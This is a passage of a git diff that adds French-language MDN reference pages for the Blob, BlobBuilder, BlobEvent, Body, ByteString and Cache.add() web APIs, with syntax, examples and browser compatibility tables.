+   <td>{{CompatVersionUnknown}}</td>
+   <td>4<sup>[2]</sup></td>
+   <td>10</td>
+   <td>11.10<sup>[1]</sup></td>
+   <td>5.1<sup>[1]</sup></td>
+  </tr>
+  <tr>
+   <td><code>slice()</code></td>
+   <td>10 {{property_prefix("webkit")}}<br>
+    21</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5 {{property_prefix("moz")}}<sup>[3]</sup><br>
+    13</td>
+   <td>10</td>
+   <td>12</td>
+   <td>5.1 {{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Constructeur <code>Blob()</code></td>
+   <td>20</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("13.0")}}</td>
+   <td>10</td>
+   <td>12.10</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td><code>close()</code> et <code>isClosed</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Support simple</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("13.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>slice()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Constructeur <code>Blob()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>close()</code> et <code>isClosed</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}<sup>[4]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] La version de <code>slice()</code> qui prend en compte la longueur comme deuxième argument a été implémentée dans <a href="https://trac.webkit.org/changeset/55670">WebKit</a> et <a href="https://www.opera.com/docs/specs/presto28/file/#blob">Opera 11.10</a>. Cependant, cette syntaxe était différente de celle de {{jsxref("Array/slice", "Array.slice()")}} et de {{jsxref("String/slice", "String.slice()")}}, WebKit ra arrêté de supporter cette syntaxe et a ajouté la prise en charge de la nouvelle syntaxe dans <a href="http://trac.webkit.org/changeset/83873"><code>Blob.webkitSlice()</code></a>.</p>
+
+<p>[2] Une version de <code>slice()</code> qui prenait une longueur en deuxième argument était implémentée dans <a href="https://hg.mozilla.org/mozilla-central/rev/1b3947ed93c6">Firefox 4</a>. Cependant, cette syntaxe était différente de celle de {{jsxref("Array/slice", "Array.slice()")}} et de {{jsxref("String/slice", "String.slice()")}}, Gecko a arrêté de supporter cette syntaxe et a ajouté la prise en charge de la nouvelle syntaxe dans <code>mozSlice()</code>.</p>
+
+<p>[3] Avant Gecko 12.0 {{geckoRelease("12.0")}}, un bug impactait <code>slice()</code>; les paramètres <code>start</code> et <code>end</code> étaient mal gérés lorsqu'ils étaient en dehors de l'intervalle des valeurs qui peuvent être représentés sur 64 bits, signés. Cela a désormais été corrigé (prise en charge des valeurs non-signées sur 64 bits).</p>
+
+<p>[4] Cf. {{bug("1048325")}}</p>
+
+<h3 id="Notes_de_compatibilité_pour_Gecko_accéder_à_cette_fonctionnalité_dans_du_code_privilégié">Notes de compatibilité pour Gecko : accéder à cette fonctionnalité dans du code privilégié</h3>
+
+<p>Pour utiliser cette fonctionnalité dans du chrome, JSM ou Bootstrap, il faudra l'importer de cette façon :</p>
+
+<pre class="brush: js">Cu.importGlobalProperties(['Blob']);
+</pre>
+
+<p><code>Blob</code> est disponible dans les portées des <em>workers</em>.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("BlobBuilder")}}</li>
+ <li>{{domxref("File")}}</li>
+ <li>{{domxref("URL.createObjectURL")}}</li>
+ <li><a href="/fr/docs/Mozilla/Tech/XPCOM/Language_Bindings/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/fr/web/api/blob/type/index.html b/files/fr/web/api/blob/type/index.html
new file mode 100644
index 0000000000..8823dd1bb9
--- /dev/null
+++ b/files/fr/web/api/blob/type/index.html
@@ -0,0 +1,75 @@
+---
+title: Blob.type
+slug: Web/API/Blob/type
+tags:
+  - API
+  - DOM
+  - Fichiers
+  - Propriété
+translation_of: Web/API/Blob/type
+---
+<div>{{APIRef("File API")}}</div>
+
+<p>La propriété <strong><code>type</code></strong> de l'objet <a href="fr/docs/Web/API/Blob"><code>Blob</code></a> fourni le type MIME (Internet media type) d'un fichier. Celle-ci retourne une chaîne de caractère vide si le type n'a pas pu être déterminé.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var mimetype = <var>instanceOfFile</var>.type</pre>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Une chaîne de caractères (par exemple : "image/png").</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush:js">var i, fileInput, files, allowedFileTypes;
+
+// fileInput est un HTMLInputElement: &lt;input type="file" multiple id="myfileinput"&gt;
+fileInput = document.getElementById("myfileinput");
+
+// files est un objet FileList (similaire à NodeList)
+files = fileInput.files;
+
+// notre application accepte seulement les images de type *.png, *.jpeg et *.gif
+allowedFileTypes = ["image/png", "image/jpeg", "image/gif"];
+
+for (i = 0; i &lt; files.length; i++) {
+  // Vérifie si file.type est un type autorisé.
+  if (allowedFileTypes.indexOf(<strong>files[i].type</strong>) &gt; -1) {
+    // le type du fichier (file) correspond à l'un des types autorisés. Faites quelque chose ici.
+  }
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#dfn-type', 'type')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div>
+
+
+<p>{{Compat("api.Blob.type")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+</div>
+
+<ul>
+ <li>{{domxref("Blob")}}</li>
+</ul>
diff --git a/files/fr/web/api/blobbuilder/index.html b/files/fr/web/api/blobbuilder/index.html
new file mode 100644
index 0000000000..69aab6d794
--- /dev/null
+++ b/files/fr/web/api/blobbuilder/index.html
@@ -0,0 +1,124 @@
+---
+title: BlobBuilder
+slug: Web/API/BlobBuilder
+tags:
+  - API
+  - DOM
+  - DOM Reference
+  - Obsolete
+translation_of: Web/API/BlobBuilder
+---
+<p>{{APIRef("File API")}}{{ obsolete_header}}</p>
+
+<p>L'interface <code>BlobBuilder</code> fournit une manière simple de construire des objets {{domxref("Blob")}}. Il suffit de créer un <code>BlobBuilder</code> et de lui ajouter des données  en appellant la méthode {{manch("append")}}. Une fois finalisé, l'appel à la méthode {{manch("getBlob")}} permet de récupérer un {{domxref("Blob")}} contenant les données envoyées au constructeur dudit Blob.</p>
+
+<div class="note"><strong>Note:</strong> L'interface <code>BlobBuilder</code> est désormais déconseillé (deprecated) au profit du nouveau constructeur {{domxref('Blob')}}.</div>
+
+<h2 id="Aperçu_des_méthodes">Aperçu des méthodes</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="/en-US/docs/Web/API/BlobBuilder#append()">append</a>(in ArrayBuffer data);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en-US/docs/Web/API/BlobBuilder#append()">append</a>(in Blob data);</code></td>
+  </tr>
+  <tr>
+   <td><code>void <a href="/en-US/docs/Web/API/BlobBuilder#append()">append</a>(in String data, [optional] in String endings);</code></td>
+  </tr>
+  <tr>
+   <td><code>Blob <a href="/en-US/docs/Web/API/BlobBuilder#getBlob()">getBlob</a>([optional] in DOMString contentType);</code></td>
+  </tr>
+  <tr>
+   <td><code>File <a href="/en-US/docs/Web/API/BlobBuilder#getFile()">getFile</a>(in DOMString name, [optional] in DOMString contentType);</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<h3 id="append()">append()</h3>
+
+<p>Ajoute le contenu de l'objet JavaScript spécifié au {{domxref("Blob")}} en construction. Si la valeur spécifiée n'est pas un {{domxref("Blob")}}, un <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/ArrayBuffer"><code>ArrayBuffer</code></a>, ou une <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String"><code>String</code></a>, la valeur est forcée (coerced) à string avant d'être ajoutée au blob.</p>
+
+<pre class="syntaxbox">void append(
+  in ArrayBuffer data
+);
+
+void append(
+  in Blob data
+);
+
+
+void append(
+  in String data,
+  [optional] in String endings
+);
+</pre>
+
+<h6 id="Paramètres">Paramètres</h6>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>Les données à ajouter au {{domxref("Blob")}} en construction.</dd>
+ <dt><code>endings</code></dt>
+ <dd>Spécifie comment les chaînes (strings) contenant des <code>\n</code> doivent être rendues. Cela peut être <code>"transparent"</code> (endings inchangés) ou <code>"native"</code> (les endings sont changés pour respecter la convention du système de fichier de l'OS de l'hôte). Par défault, la valeur est <code>"transparent"</code>.</dd>
+</dl>
+
+<h3 id="getBlob()">getBlob()</h3>
+
+<p>Retourne l'objet {{domxref("Blob")}} qui a été construit en utilisant les données passées en argument des différents appels à {{manch("append")}}.</p>
+
+<pre class="syntaxbox">Blob getBlob(
+  in DOMString contentType {{optional_inline}}
+);
+</pre>
+
+<h6 id="Paramètres_2">Paramètres</h6>
+
+<dl>
+ <dt>contentType {{optional_inline}}</dt>
+ <dd>Le type MIME des données  retournées par le {{domxref("Blob")}}. Ce sera la valeur de la propriété 'type' de l'objet <code>Blob</code>.</dd>
+</dl>
+
+<h6 id="Valeur_de_retour">Valeur de retour</h6>
+
+<p>Un objet {{domxref("Blob")}} contenant toutes les données passées en argument de chaque appel à  {{manch("append")}} depuis la création du <code>BlobBuilder</code>. Cela remet aussi à zéro (reset) le <code>BlobBuilder</code> de tel sorte que le prochain appel à {{manch("append")}} démarrera la création d'un nouveau blob vierge.</p>
+
+<h3 id="getFile()_non-standard_inline">getFile() {{non-standard_inline}}</h3>
+
+<p>Retourne un objet {{domxref("File")}}.</p>
+
+<pre class="syntaxbox">File getFile(
+  in DOMString name,
+  [optional] in DOMString contentType
+);
+</pre>
+
+<h6 id="Paramètres_3">Paramètres</h6>
+
+<dl>
+ <dt>name</dt>
+ <dd>Le nom du fichier.</dd>
+ <dt>contentType {{optional_inline}}</dt>
+ <dd>Le type MIME des données  retournées par le {{domxref("File")}}. Ce sera la valeur de la propriété 'type' de l'objet <code>File</code>.</dd>
+</dl>
+
+<h6 id="Valeur_deretour">Valeur deretour</h6>
+
+<p>Un objet {{domxref("File")}}.</p>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.BlobBuilder")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{spec("http://dev.w3.org/2009/dap/file-system/file-writer.html#idl-def-BlobBuilder", "File API Specification: BlobBuilder", "ED")}}</li>
+ <li>{{domxref("Blob")}}</li>
+ <li>{{domxref("File")}}</li>
+</ul>
diff --git a/files/fr/web/api/blobevent/blobevent/index.html b/files/fr/web/api/blobevent/blobevent/index.html
new file mode 100644
index 0000000000..742af43a44
--- /dev/null
+++ b/files/fr/web/api/blobevent/blobevent/index.html
@@ -0,0 +1,61 @@
+---
+title: BlobEvent.BlobEvent()
+slug: Web/API/BlobEvent/BlobEvent
+tags:
+  - API
+  - Blob
+  - Constructeur
+  - DOM
+  - Evènement
+translation_of: Web/API/BlobEvent/BlobEvent
+---
+<p>{{APIRef("Media Capture and Streams")}}{{seeCompatTable}}</p>
+
+<p>Le constructeur <code><strong>BlobEvent()</strong></code> renvoie un nouvel objet {{domxref("BlobEvent")}} créé avec un {{domxref("Blob")}} associé.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>blobEvent</em> = new BlobEvent({data: <em>aSpecificBlob</em>}[, timecode]);
+</pre>
+
+<h3 id="Arguments">Arguments</h3>
+
+<p><em>Le constructeur <code>BlobEvent()</code></em><em> hérite des arguments de {{domxref("Event.Event", "Event()")}}.</em></p>
+
+<dl>
+ <dt><code>data</code></dt>
+ <dd>est un {{domxref("Blob")}} associé à l'évènement.</dd>
+ <dt><code>timecode</code> {{optional_inline}}</dt>
+ <dd>un {{domxref("DOMHighResTimeStamp")}} à utiliser pour initialiser l'événement blob.</dd>
+</dl>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Recording', '#blob-event', 'BlobEvent')}}</td>
+   <td>{{Spec2('MediaStream Recording')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.BlobEvent.BlobEvent")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("BlobEvent")}} à laquelle il appartient.</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/api/blobevent/data/index.html b/files/fr/web/api/blobevent/data/index.html
new file mode 100644
index 0000000000..ea9939f3bd
--- /dev/null
+++ b/files/fr/web/api/blobevent/data/index.html
@@ -0,0 +1,50 @@
+---
+title: BlobEvent.data
+slug: Web/API/BlobEvent/data
+tags:
+  - API
+  - Blob
+  - DOM
+  - Evènement
+  - Propriétés
+  - données
+translation_of: Web/API/BlobEvent/data
+---
+<p>{{ apiref("Media Capture and Streams") }}</p>
+
+<p>{{ SeeCompatTable() }}</p>
+
+<p>La propriété en lecture seule <code><strong>BlobEvent.data</strong></code> représente un {{domxref("Blob")}} associé à l'évènement.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>associatedBlob</em> = <em>BlobEvent</em>.data</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Recording', '#widl-BlobEvent-data', 'BlobEvent.data')}}</td>
+   <td>{{Spec2('MediaStream Recording')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.BlobEvent.data")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface {{domxref("BlobEvent")}} à laquelle elle appartient.</li>
+</ul>
diff --git a/files/fr/web/api/blobevent/index.html b/files/fr/web/api/blobevent/index.html
new file mode 100644
index 0000000000..97d8bf745e
--- /dev/null
+++ b/files/fr/web/api/blobevent/index.html
@@ -0,0 +1,72 @@
+---
+title: BlobEvent
+slug: Web/API/BlobEvent
+tags:
+  - API
+  - Audio
+  - Blob
+  - Interface
+  - Media
+  - MediaStream Recording
+  - MediaStream Recording API
+  - Reference
+  - Video
+  - events
+translation_of: Web/API/BlobEvent
+---
+<div>{{APIRef ("Media Capture and Streams")}}</div>
+
+<p>L'interface <code>BlobEvent</code> représente les événements associés à un {{domxref ("Blob")}}. Ces blobs sont généralement, mais pas nécessairement, associés au contenu multimédia.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("BlobEvent.BlobEvent", "BlobEvent()")}}</dt>
+ <dd>Crée un événement <code>BlobEvent</code> avec les paramètres donnés.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de son parent, {{domxref("Event")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("BlobEvent.data")}} {{readonlyInline}}</dt>
+ <dd>Un objet {{domxref("Blob")}} qui représente les données associées à l'évènement. L'évènement a été déclenché sur le {{domxref("EventTarget")}} en raison de quelque chose survenu spécifiquement sur ce {{domxref("Blob")}}.</dd>
+ <dt>{{domxref("BlobEvent.timecode")}} {{readonlyinline}}</dt>
+ <dd>{{domxref("DOMHighResTimeStamp")}} indique la différence entre l'horodatage du premier bloc de données et l'horadatage du premier bloc <code>BlobEvent</code> produit par cet enregistreur. On notera que le <em>timecode</em> du premier <code>BlobEvent</code> produit , n'a pas besoin d'être nul.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Pas de méthode spécifique ; hérite des méthodes de son parent<em> {{domxref("Event")}}.</em></em></p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('MediaStream Recording', '#blob-event', 'BlobEvent')}}</td>
+   <td>{{Spec2('MediaStream Recording')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.BlobEvent")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface de base {{domxref("Event")}} .</li>
+ <li><a href="/fr/docs/Web/API/MediaStream_Recording_API">L'API MediaStream Recording </a>: envoie des objets <code>BlobEvent</code> chaque fois qu'un fragment de media est prêt.</li>
+ <li><a href="/fr/docs/Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recording_API">Utiliser l'API MediaStream Recording</a></li>
+</ul>
diff --git a/files/fr/web/api/body/index.html b/files/fr/web/api/body/index.html
new file mode 100644
index 0000000000..9753edeba3
--- /dev/null
+++ b/files/fr/web/api/body/index.html
@@ -0,0 +1,96 @@
+---
+title: Body
+slug: Web/API/Body
+tags:
+  - API
+  - BODY
+  - Experimental
+  - Fetch
+  - Fetch API
+  - Interface
+  - Reference
+  - TopicStub
+  - request
+translation_of: Web/API/Body
+---
+<div>{{ APIRef("Fetch") }}</div>
+
+<p><span class="seoSummary">Le {{glossary("mixin")}} <strong><code>Body</code></strong> de l'<a href="/fr/docs/Web/API/Fetch_API">API Fetch</a> représente le corps de d'une requête ou d'une réponse, vous permettant de déclarer le type de son contenu et comment le manipuler.</span></p>
+
+<p><code>Body</code> est implémenté par {{domxref("Request")}} et {{domxref("Response")}}. Ces derniers fournissent un objet avec un un corps associé (un <a href="/fr/docs/Web/API/Streams_API">stream</a>), un drapeaux pour indiquer si le corps a déjà été utilisé (initialisé à faux), et un type MIME (au début, une séquence vide d'octet).</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>Un simple <em>getter</em> utilisé pour obtenir un {{domxref("ReadableStream")}} du contenu.</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>Un {{jsxref("Boolean")}} qui indique si le corps a déjà été lu.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Prend un flux {{domxref("Response")}}, le lit en entier, et le retourne sous forme d'un {{jsxref("ArrayBuffer")}} au travers d'une promesse.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Prends un flux {{domxref("Response")}}, le lit en entier, et le retourne dans un {{domxref("Blob")}} au travers d'une promesse.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Prends un flux {{domxref("Response")}}, le lit en entier, et le retourne dans un objet {{domxref("FormData")}} au travers d'une promesse.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Prends un flux {{domxref("Response")}}, le lit en entier et retourne une promesse résolue avec le résultat textuel interprété comme du {{jsxref("JSON")}}.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Prend un flux {{domxref("Response")}}, le lit en entier, et le retourne dans une {{domxref("USVString")}} (texte) au travers d'une promesse. La réponse est <em>toujours</em> décodée en utilisant l'UTF-8.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>L'exemple suivant utilise un simple appel <code>fetch</code> pour récupérer une image et l'afficher dans un élément {{htmlelement("img")}}. Notez qu'une fois l'image téléchargée, nous devons appeler {{domxref("Body.blob","Body.blob()")}} ({{domxref("Response")}} implémente body) pour connaître le MIME type correcte.</p>
+
+<h3 id="Code_HTML">Code HTML</h3>
+
+<pre class="brush: html notranslate">&lt;img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png"&gt;
+</pre>
+
+<h3 id="Code_JavaScript">Code JavaScript</h3>
+
+<pre class="brush: js notranslate">const myImage = document.querySelector('.my-image');
+fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg')
+	.then(res =&gt; res.blob())
+	.then(res =&gt; {
+		const objectURL = URL.createObjectURL(res);
+		myImage.src = objectURL;
+});</pre>
+
+<p>{{ EmbedLiveSample('Examples', '100%', '250px') }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécifications</th>
+   <th scope="col">Status</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#body-mixin','Body')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.Body")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/fr/docs/Web/HTTP/CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/fr/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/fr/web/api/body/json/index.html b/files/fr/web/api/body/json/index.html
new file mode 100644
index 0000000000..121768d6ea
--- /dev/null
+++ b/files/fr/web/api/body/json/index.html
@@ -0,0 +1,86 @@
+---
+title: Body.json()
+slug: Web/API/Body/json
+tags:
+  - API
+  - BODY
+  - Experimental
+  - Fetch
+  - JSON
+  - Méthode
+  - Reference
+translation_of: Web/API/Body/json
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>La méthode <strong><code>json()</code></strong> de {{domxref("Body")}} lit un Stream {{domxref("Response")}} jusqu'au bout. Elle retourne une promesse qui s'auto-résout en renvoyant le corps de la requête parsée au format {{jsxref("JSON")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: js">response.json().then(function(data) {
+  // faire quelque chose avec les données
+});</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Aucun.</p>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Une promesse résolue contenant le corps de la requête (au format JSON) converti sous la forme d'un objet JavaScript. Cet objet peut correspondre à n'importe quel contenu représentable dans le format JSON -- un objet, un tableau, une chaîne de caractère, un nombre…</p>
+
+<h2 id="Exemple">Exemple</h2>
+
+<p>Dans l'exemple <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json</a> (lancer <a href="http://mdn.github.io/fetch-examples/fetch-json/">cet exemple</a>), nous créons une nouvelle requête en utilisant le constructeur {{domxref("Request.Request", "Request()")}}, puis utilisons celle-ci pour récupérer un fichier <code>.json</code>. Lorsque l'appel à <strong>fetch </strong>réussit, on lit les données et on les parse en utilisant <code>json()</code> pour les convertir en un objet JS, puis enfin on utilise les valeurs de l'objet obtenu pour les insérer dans une liste de noeuds, de manière à afficher nos produits. </p>
+
+<pre>const myList = document.querySelector('ul');
+const myRequest = new Request('products.json');
+
+fetch(myRequest)
+  .then(response =&gt; response.json())
+  .then(data =&gt; {
+    for (const product of data.products) {
+      let listItem = document.createElement('li');
+      listItem.appendChild(
+        document.createElement('strong')
+      ).textContent = product.Name;
+      listItem.append(
+        ` can be found in ${
+          product.Location
+        }. Cost: `
+      );
+      listItem.appendChild(
+        document.createElement('strong')
+      ).textContent = `£${product.Price}`;
+      myList.appendChild(listItem);
+    }
+  });</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-body-json','Body.json()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.Body.json")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/fr/web/api/bytestring/index.html b/files/fr/web/api/bytestring/index.html
new file mode 100644
index 0000000000..48cb5b812d
--- /dev/null
+++ b/files/fr/web/api/bytestring/index.html
@@ -0,0 +1,38 @@
+---
+title: ByteString
+slug: Web/API/ByteString
+tags:
+  - API
+  - DOM
+  - Reference
+  - WebIDL
+translation_of: Web/API/ByteString
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p><strong><code>ByteString</code></strong> est une chaîne de caractères en UTF-8 qui contient l'ensemble des séquences d'octets possibles. <code>ByteString</code> correspond à une chaîne de caractères (type {{jsxref("String")}}) lorsqu'il est manipulé en JavaScript. En général, cet objet est uniquement utilisé dans l'interfaçage de protocoles qui utilisent les octets et les chaînes de façon interchangeable (HTTP par exemple).</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebIDL', '#idl-ByteString', 'ByteString')}}</td>
+   <td>{{Spec2('WebIDL')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("String")}}</li>
+ <li><a href="/fr/docs/Web/JavaScript/Typed_arrays/String_view"><code>StringView</code> – une représentation des chaînes de caractères, semblable à celle utilisée par le langage C, basée sur les tableaux typés</a></li>
+ <li><a href="/fr/docs/Web/API/DOMString/Binary">Les chaînes binaires</a></li>
+</ul>
diff --git a/files/fr/web/api/cache/add/index.html b/files/fr/web/api/cache/add/index.html
new file mode 100644
index 0000000000..25846672e0
--- /dev/null
+++ b/files/fr/web/api/cache/add/index.html
@@ -0,0 +1,116 @@
+---
+title: Cache.add()
+slug: Web/API/Cache/add
+tags:
+  - API
+  - Add
+  - Cache
+  - Experimental
+  - Méthode
+  - Reference
+  - Service Worker
+  - Service worker API
+  - ServiceWorker
+translation_of: Web/API/Cache/add
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p>La méthode <strong><code>add()</code></strong> de l'interface {{domxref("Cache")}} accepte une URL, la récupère, et ajoute l'objet réponse qui en résulte dans le cache. La méthode <code>add()</code> est équivalent au code suivant :</p>
+
+<pre class="brush: js">fetch(url).then(function(response) {
+  if (!response.ok) {
+    throw new TypeError('bad response status');
+  }
+  return cache.put(url, response);
+})</pre>
+
+<p>Pour des opérations plus complexes, il faut utiliser {{domxref("Cache.put","Cache.put()")}} directement.</p>
+
+<div class="note">
+<p><strong>Note</strong>: <code>add()</code> écrasera toute paire clé/valeur précedemment stockée en cache et qui correspond à la requête.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
